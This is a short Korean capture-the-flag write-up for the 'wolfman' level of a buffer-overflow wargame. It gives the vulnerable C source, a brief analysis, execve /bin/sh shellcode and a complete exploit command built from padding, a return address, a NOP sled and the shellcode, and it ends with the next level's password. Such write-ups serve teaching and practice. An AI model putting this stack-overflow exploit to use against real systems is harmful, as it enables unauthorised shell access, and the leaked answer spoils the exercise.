wolfman
keyword : egghunter+bufferhunter
/* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); }
0x01. Analysis
orc문제에서 buffer배열 영역을 0으로 초기화 시키는 memset함수가 추가되었다.
하지만 orc에서 풀이할 때, 필자는 buffer배열에 쉘코드를 넣지 않고 argc영역 부분에 넣었기 때문에 의미없는 보호장치(?)이다.
orc문제 풀이와 똑같은 방법으로 ex하면 될것 같다.
0x02. Exploit
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
쉘코드가 넣을 주소를 알기 위해 core를 떨구자.
"S"부분이 쉘코드 24바이트가 들어갈 자리이다.
0xbffffa64부분 언저리를 RET주소에 넣으면 NOP슬라이드를 타고 쉘코드가 실행 될거 같다.
./wolfman `python -c 'print "A"*44+"\x64\xfa\xff\xbf"+"\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
wolfman / love eyuna